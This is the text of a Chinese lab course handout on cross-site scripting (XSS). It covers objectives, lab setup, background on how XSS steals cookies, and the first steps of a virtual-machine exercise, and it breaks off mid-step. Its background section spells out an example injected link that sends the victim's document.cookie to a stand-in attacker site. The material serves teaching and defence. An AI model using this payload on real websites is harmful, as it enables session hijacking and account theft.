L003001005-HTTP攻击与防范-跨网站脚本攻击.docx
课程编写
类别
内容
实验课题名称
XSS-跨网站脚本攻击
实验目的与要求
1.了解XSS-跨网站脚本攻击带来的危险性。
2.掌握XSS-跨网站脚本攻击的原理与方法
3.掌握防范攻击的方法
实验环境
VPC1(虚拟PC〕
Windowsserver2003
VPC1连接要求
PC网络接口,本地连接与实验网络直连
软件描述
1、学生机要求安装java环境
2、vpc安装windwos系统
实验环境描述
学生机与实验室网络直连;
VPC1与实验室网络直连;
学生机与VPC1物理链路连通;
预备知识
XSS是CrossSiteScripting的缩写,意思是跨网站脚本攻击,也有人称为跨网站攻击或跨网页攻击.CrossSiteScripting的缩写原本应该是CSS,但为了与CSS排版样本(CascadingStyleSheet)进行区别,因此缩写改成XSS。
几乎所有的Web应用程序都用cookie来保存特定用户的账号与密码等信息。例如电子邮件信箱、购物、音乐下载及银行等网站,都是使用cookie来进行用户身份认证的。
跨网站脚本攻击是最常被黑客用来攻击Web应用程序的方式,黑客最主要的目的就是读取网站用户的cookie或是其他隐私数据。这些cookie或隐私数据包含应用程序的登录设置、重要的网页文件位置、用户的账号、密码、信用卡号,甚至银行账户的存提款记录等。
一旦黑客取得了网站用户的账号与密码等记录,他就可以伪装这个目标用户的身份来登录网站。读取用户的电子邮件,使用信用卡号来购物付款,甚至提领目标用户的银行存款。
跨网站脚本攻击之所以会发生,是因为网站的Web应用程序对用户的输入数据没有进行检验。黑客将攻击用的JavaScript程序代码加在链接的后面,Web应用程序直接执行这个链接,因而让攻击用的JavaScript程序代码被启动。
要启动跨网站脚本攻击时,黑客会发送类似下面的链接给目标用户:://vulnerable.site/index.php?user=scriptdocument.location=
://atacker.site/get.php?cookie=+document.cookie;/script
vulnerable.site是一个有XSS漏洞的网站,而目标用户不幸就是这个网站的会员。这个网站的index.php网页会读取URL参数user的值来当做用户的账号。
黑客在URL参数user的后面加上JavaScript程序代码:
user=scriptdocument.location=://atacker.site/get.php?cookie=+document.cookie;/script
当有XSS漏洞的网站读取了user的值,并且使用echo等函数来输出到屏幕时,隐藏在user后面的JavaScript程序代码就会被执行。
首先,document.location
的get.php网页,atacker.site是黑客的网站。get.php网页的URL参数cookie的值document.cookie就是目标用户的cookie值,黑客因此能够取得目标用户的cookie数据。
这段JavaScript代码就是一段跨网站脚本,因为它会跨过有XSS漏洞的网站来对目标用户进行攻击。有XSS漏洞的网站与目标用户都不知道发生过什么事情,目标用户的cookie数据就莫名其妙地被黑客获取了。
黑客发送给目标用户的链接可能会隐藏在电子邮件或图片中,目标用户没有多加留意就单击了这个链接,因而执行了链接中的JavaScript代码,让黑客获得目标用户的cookie数据。
跨网站脚本攻击的步骤如下图。
实验内容
1.了解XSS-跨网站脚本攻击带来的危险性。
2.掌握XSS-跨网站脚本攻击的原理与方法
3.掌握防范攻击的方法
实验步骤
学生单击实验拓扑按钮,进入实验场景,进入目标主机,〔第一次启动目标主机,还需要安装java控件〕,如下图:
2.翻开虚拟机,输入用户名和密码,用户为Adminsitrator密码为123456
3.翻开浏览器,输入://localhost:8080/example_code/如图:
4、找到“(4)跨网站脚本攻击(CrossSiteScript,XSS)”项,并点击翻开,如图1。
5、开始攻击
攻击一:
翻开“演示1”,以用户名daniel,密码123456登录,然后点击登录,如图2:
6、会出现提示信息,是否记住密